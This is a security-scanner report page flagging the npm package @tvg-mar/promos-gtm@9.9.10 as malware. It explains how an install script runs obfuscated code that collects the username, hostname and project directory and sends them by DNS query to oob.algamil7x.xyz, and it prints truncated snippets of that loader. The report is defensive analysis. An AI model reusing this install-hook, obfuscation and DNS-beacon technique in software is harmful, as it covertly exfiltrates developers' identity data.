registry / Data exfiltration / @tvg-mar/promos-gtm
@tvg-mar/promos-gtm
GTM integration for promo surfaces: dataLayer, events and consent
This report shows the evidence for @tvg-mar/promos-gtm@9.9.10. 1 of 3 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiThe install entry unconditionally runs an obfuscated identity beacon to oob.algamil7x.xyz, which is unrelated to the GTM dataLayer API. Char-code hiding, swallowed errors, and a fake diagnostic comment show deliberate covert collection on install and import.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install runs node index.js, and any require of the package entry calls the same runtime bootstrap.
Impact
A remote DNS listener at the decoded zone can learn who installed the package and which project directory was current, while installation still succeeds.
Mechanism
index.js loads runtime/index.js, which calls support.initialize. Telemetry then runs the probe, whose module loads impl.js. That file immediately collects identity fields and calls dns.resolve4 with a label-encoded query.
Attack narrative
npm install and any load of the package entry run index.js, which invokes the runtime bootstrap before exporting the GTM helpers. Telemetry then loads the probe, which requires impl.js, and that file runs at once. It reads the OS username, hostname, and current directory base name through obfuscated os and process access, joins them with a time value, and calls dns.resolve4 on the resulting name under oob.algamil7x.xyz. Errors are caught so the install looks successful while the DNS query can reveal who installed the package and from which project directory.
AI rationale
The install entry unconditionally runs an obfuscated identity beacon to oob.algamil7x.xyz, which is unrelated to the GTM dataLayer API. Char-code hiding, swallowed errors, and a fake diagnostic comment show deliberate covert collection on install and import.
Evidence
package.jsonindex.jsruntime/index.jsruntime/support/telemetry/index.jsruntime/support/telemetry/probe/index.jsruntime/support/telemetry/probe/impl.jsruntime/support/telemetry/probe/f8c0e3.jsruntime/support/telemetry/probe/a9d1f4.js
Network endpoints1
oob.algamil7x.xyz
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- The install lifecycle script runs node index.js.
- index.js invokes the runtime bootstrap immediately and swallows errors before exporting the library.
- runtime/index.js calls support.initialize during that bootstrap.
- Telemetry start calls probe.run, and loading the probe requires impl.js for its side effect.
- impl.js reads the username, hostname, and working-directory base name, then calls dns.resolve4 on a dotted label string.
- Obfuscated helpers load node os, dns, and process, and decode the DNS zone oob.algamil7x.xyz with prefix tvggtm.
Evidence against
- The src library only builds dataLayer events, tags, and consent checks.
- No child_process, eval, or HTTP client is present.
- The DNS callback is empty and the probe does not write files.
Behavioral surface
PossibleObfuscation
Source & flagged code
10 flagged · loading sourcepackage.jsonView file
•scripts.install = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg8"install": "node index.js",
High
Suspicious Lifecycle Evidence
The install lifecycle script runs node index.js.
package.jsonView on unpkg · L8runtime/support/telemetry/probe/impl.jsView file
•Obfuscated runtime modules collect host identity for a fixed external DNS query.
[redacted].js:
const diag=require('./f8c0e3.js');const cfg=require('./a9d1f4.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c...
[redacted].js:
[redacted].js
Dynamic DNS/OS/process loader in [redacted].js:
const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...
Findings
1 Critical9 High1 Low
CriticalDns Exfiltrationruntime/support/telemetry/probe/impl.js
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceruntime/index.js
HighAi Review Evidenceruntime/support/telemetry/index.js
HighAi Review Evidenceruntime/support/telemetry/probe/index.js
HighAi Review Evidenceruntime/support/telemetry/probe/impl.js
HighAi Review Evidenceruntime/support/telemetry/probe/f8c0e3.js
HighAi Review Evidenceruntime/support/telemetry/probe/a9d1f4.js
LowScripts Present
Affected versions and remediation
This report applies to @tvg-mar/promos-gtm@9.9.10.
The versions list below shows the verdict for each recorded version.
- Avoid installing @tvg-mar/promos-gtm@9.9.10. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.